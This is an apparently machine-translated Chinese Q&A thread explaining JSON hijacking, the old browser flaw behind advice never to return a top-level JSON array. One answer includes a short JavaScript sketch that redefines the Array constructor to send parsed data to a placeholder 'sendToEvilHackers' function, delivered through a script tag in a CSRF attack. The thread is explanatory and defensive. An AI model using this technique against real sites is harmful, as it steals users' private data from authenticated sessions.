在下面的视频中,Microsoft PDC演示者在时间标记21:40处说,包装所有JSON以使其不是顶级数组很重要:
https://channel9.msdn.com/Events/PDC/PDC09/FT12
解开顶层阵列的风险是什么?
我应该如何检查并确定自己是否脆弱?我从第三方购买了许多组件,并且有外部厂商来开发我的代码。
微软之所以这样说,是因为他们尚未修补浏览器。(编辑:Edge和IE10/11的最新版本已解决了该问题。)Mozilla认为这是json规范中的漏洞,因此他们在Firefox3中对其进行了修补。作为记录,我完全同意Mozilla,它的不幸之处在于,但每个Web应用程序开发人员都必须自我保护,以免受这种非常晦涩的漏洞的影响。
我认为这是因为Array()构造函数可以重新定义。但是,这个问题并不是数组真正的唯一问题。
我认为攻击(或一种可能的方式)是这样的:
function Array(n) { var self = this; setTimeout(function() { sendToEvilHackers(self); }, 10); return this; }
浏览器(或某些浏览器)使用该构造函数来[n, n, n]表示数组。因此,CSRF攻击可以利用您与银行的公开会话,用<script>标签访问已知的JSON URL 进行提取,然后欺骗您的所有权。
[n, n, n]
<script>